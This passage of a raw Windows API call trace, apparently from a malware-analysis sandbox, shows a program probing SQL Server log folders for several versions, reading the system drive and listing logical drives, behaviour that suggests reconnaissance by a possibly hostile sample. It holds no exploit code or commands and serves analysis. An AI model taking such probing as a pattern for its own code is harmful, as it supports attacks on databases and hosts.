lpFilePart=0x18e8dc*=0x0) returned 0x43 [0087.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL14.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL14.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.102] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL14.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL14.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="°í\x18")) returned 0xffffffff [0087.102] GetLastError () returned 0x3 [0087.102] GetLastError () returned 0x3 [0087.102] SetLastError (dwErrCode=0x3) [0087.102] GetLastError () returned 0x3 [0087.102] SetLastError (dwErrCode=0x3) [0087.102] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.102] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.102] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.102] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x1436834, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.103] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.103] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.103] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.103] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL15.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL15.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.103] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL15.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL15.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x43 [0087.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL15.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL15.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.103] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL15.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL15.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="°í\x18")) returned 0xffffffff [0087.103] GetLastError () returned 0x3 [0087.103] GetLastError () returned 0x3 [0087.103] SetLastError (dwErrCode=0x3) [0087.103] GetLastError () returned 0x3 [0087.103] SetLastError (dwErrCode=0x3) [0087.184] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.184] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.184] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.184] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x146b8f4, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.185] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.185] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.185] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.185] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL16.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL16.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.185] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL16.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL16.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x43 [0087.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL16.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL16.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.185] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL16.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL16.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="°í\x18")) returned 0xffffffff [0087.185] GetLastError () returned 0x3 [0087.185] GetLastError () returned 0x3 [0087.185] SetLastError (dwErrCode=0x3) [0087.185] GetLastError () returned 0x3 [0087.185] SetLastError (dwErrCode=0x3) [0087.185] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.185] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.185] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.186] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.186] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x146b8f4, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.186] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.186] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.186] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.186] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL17.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL17.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.186] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL17.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL17.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x43 [0087.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL17.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL17.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.186] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL17.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL17.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="°í\x18")) returned 0xffffffff [0087.186] GetLastError () returned 0x3 [0087.186] GetLastError () returned 0x3 [0087.186] SetLastError (dwErrCode=0x3) [0087.186] GetLastError () returned 0x3 [0087.186] SetLastError (dwErrCode=0x3) [0087.186] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.186] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.187] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.187] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x146b8f4, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.187] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.187] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.187] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.187] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL18.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL18.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.187] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL18.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL18.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x43 [0087.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL18.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL18.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.187] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL18.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL18.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="°í\x18")) returned 0xffffffff [0087.187] GetLastError () returned 0x3 [0087.187] GetLastError () returned 0x3 [0087.187] SetLastError (dwErrCode=0x3) [0087.187] GetLastError () returned 0x3 [0087.187] SetLastError (dwErrCode=0x3) [0087.187] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.188] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.188] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.188] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x146b8f4, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.188] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.188] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.188] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.188] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL19.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL19.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.188] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL19.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL19.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x43 [0087.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL19.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL19.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.188] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL19.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL19.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="°í\x18")) returned 0xffffffff [0087.188] GetLastError () returned 0x3 [0087.188] GetLastError () returned 0x3 [0087.188] SetLastError (dwErrCode=0x3) [0087.188] GetLastError () returned 0x3 [0087.188] SetLastError (dwErrCode=0x3) [0087.188] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ede4, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0087.189] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.189] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0087.189] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0087.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x146b8f4, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0087.189] SysReAllocStringLen (in: pbstr=0x18ee74*="C:", psz=0x0, len=0x2 | out: pbstr=0x18ee74*="C:") returned 1 [0087.189] VarCat (in: pvarLeft=0x18ef54, pvarRight=0x18eef4, pvarResult=0x18ef44 | out: pvarResult=0x18ef44) returned 0x0 [0087.189] VarCat (in: pvarLeft=0x18ef44, pvarRight=0x18eee4, pvarResult=0x18ef34 | out: pvarResult=0x18ef34) returned 0x0 [0087.189] VarCat (in: pvarLeft=0x18ef34, pvarRight=0x18eed4, pvarResult=0x18ef24 | out: pvarResult=0x18ef24) returned 0x0 [0087.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL20.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18e8e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL20.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.189] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL20.SQLEXPRESS\\MSSQL\\Log\\", nBufferLength=0x104, lpBuffer=0x18eb20, lpFilePart=0x18e8dc | out: lpBuffer="C:\\Program Files\\Microsoft SQL Server\\MSSQL20.SQLEXPRESS\\MSSQL\\Log\\", lpFilePart=0x18e8dc*=0x0) returned 0x43 [0087.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL20.SQLEXPRESS\\MSSQL\\Log\\", cchWideChar=-1, lpMultiByteStr=0x18ed6c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server\\MSSQL20.SQLEXPRESS\\MSSQL\\Log\\", lpUsedDefaultChar=0x0) returned 68 [0087.189] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft SQL Server\\MSSQL20.SQLEXPRESS\\MSSQL\\Log\\*.*", lpFindFileData=0x18e8bc | out: lpFindFileData=0x18e8bc*(dwFileAttributes=0x18e8dc, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18ef24, ftLastAccessTime.dwLowDateTime=0x18e9ec, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18eb20, nFileSizeHigh=0x18e8e4, nFileSizeLow=0x0, dwReserved0=0x1446910, dwReserved1=0x505c3a43, cFileName="rogram Files\\Microsoft SQL Server\\MSSQL20.SQLEXPRESS\\MSSQL\\Log\\", cAlternateFileName="°í\x18")) returned 0xffffffff [0087.189] GetLastError () returned 0x3 [0087.189] GetLastError () returned 0x3 [0087.189] SetLastError (dwErrCode=0x3) [0087.189] GetLastError () returned 0x3 [0087.189] SetLastError (dwErrCode=0x3) [0087.189] VarCmp (pvarLeft=0x18ef74, pvarRight=0x18ef04, lcid=0x0, dwFlags=0x30001) returned 0x1 [0087.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ee1c, cbMultiByte=1, lpWideCharStr=0x14aab44, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0087.191] SysStringLen (param_1="") returned 0xff [0087.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=255, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 255 [0087.191] SysStringLen (param_1="") returned 0xff [0087.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=256, lpMultiByteStr=0x14c086c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 256 [0087.191] SetErrorMode (uMode=0x8001) returned 0x8001 [0087.191] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0087.191] SetErrorMode (uMode=0x8001) returned 0x8001 [0087.191] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDriveStringsA") returned 0x76d4e4dc [0087.191] GetLogicalDriveStringsA (in: nBufferLength=0xff, lpBuffer=0x14c086c | out: lpBuffer="C:\\") returned 0x4 [0087.191] GetLastError () returned 0x0 [0087.191] SysStringByteLen (bstr="㩃\\") returned 0xff [0087.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c086c, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0087.192] SysStringByteLen (bstr="㩃\\") returned 0xff [0087.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c086c, cbMultiByte=256, lpWideCharStr=0x14524cc, cchWideChar=511 | out: lpWideCharStr="C:\\") returned 256 [0087.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ee14, cbMultiByte=1, lpWideCharStr=0x14aab44, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0087.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ee18, cbMultiByte=1, lpWideCharStr=0x14aaa9c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0087.192] VarBstrCmp (bstrLeft="C:\\", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x2 [0087.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ee1c, cbMultiByte=1, lpWideCharStr=0x14aab44, cchWideChar=1 | 